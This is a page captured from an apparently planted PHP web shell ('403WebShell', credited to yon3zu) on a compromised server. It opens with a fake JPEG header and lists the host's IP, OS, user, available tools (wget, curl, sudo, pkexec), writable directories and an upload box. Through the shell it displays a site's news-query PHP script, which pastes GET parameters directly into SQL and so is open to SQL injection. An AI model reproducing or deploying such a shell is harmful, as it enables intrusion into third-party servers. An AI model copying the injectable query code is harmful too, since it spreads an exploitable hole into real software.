????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.136.17.118
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/apps/school/OLD/MyBook/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/appsrv.astacus.se/apps/school/OLD/MyBook/get_news_data.php
<?php
    
    if($_SERVER['REQUEST_METHOD']=='GET')
    {
        require_once('connection.php');
        
        $num_of_rows_required = 50;
        $category_id = $_GET['CategoryId'];
        
        $startIndex = $_GET['startIndex'];
        $endIndex = $startIndex + $num_of_rows_required;
        
        $distance = $_GET['distance'];
        $latitude = $_GET['latitude'];
        $longitude = $_GET['longitude'];
        
        $string1 = "SELECT Id, Title, Content, NewsPhotoPath, Video, DateTimeAdded, CategoryId, UserId, ProfilePhotoPath, dist FROM (SELECT Id, Title, Content, NewsPhotoPath, Video, DateTimeAdded, CategoryId, UserId, ProfilePhotoPath, ((((acos(sin((" . $latitude . "*pi()/180)) * sin((`Latitude`*pi()/180)) + cos((" . $latitude . "*pi()/180)) * cos((`Latitude`*pi()/180)) * cos(((" . $longitude . " - `Longitude`) * pi()/180)))) * 180/pi()) * 60 * 1.1515) * 1.609344) AS dist FROM (SELECT tblNews.Id, tblNews.Title, tblNews.Content, tblNews.NewsPhotoPath, tblNews.Video, tblNews.DateTimeAdded, tblNews.CategoryId, tblNews.UserId, tblUsers.ProfilePhotoPath, tblNews.Latitude, tblNews.Longitude FROM tblNews INNER JOIN tblUsers ON tblNews.UserId=tblUsers.UserId ";
        $string3 = "ORDER BY DateTimeAdded DESC LIMIT " . $startIndex . "," . $endIndex . ") AS FirstResult) AS SecondResult WHERE dist < " . $distance;
        
        if ($category_id == 0)//Selected all rows
        {
            $sql = $string1 . $string3;
        }
        else
        {
            $string2 = "WHERE tblNews.CategoryId = " . $category_id . " ";
            $sql = $string1 . $string2. $string3;
        }
        
        $result = mysql_query($sql);
        
        if ($result > 0)
        {
			$rows = Array();
			
            while($row = mysql_fetch_assoc($result))
            {
                array_push($rows, $row);
            }
            
            echo json_encode(array("result"=>$rows));
        }
        else
        {
            echo "0 results";
        }
        
        mysql_close($connection);
    }
?>

Youez - 2016 - github.com/yon3zu
LinuXploit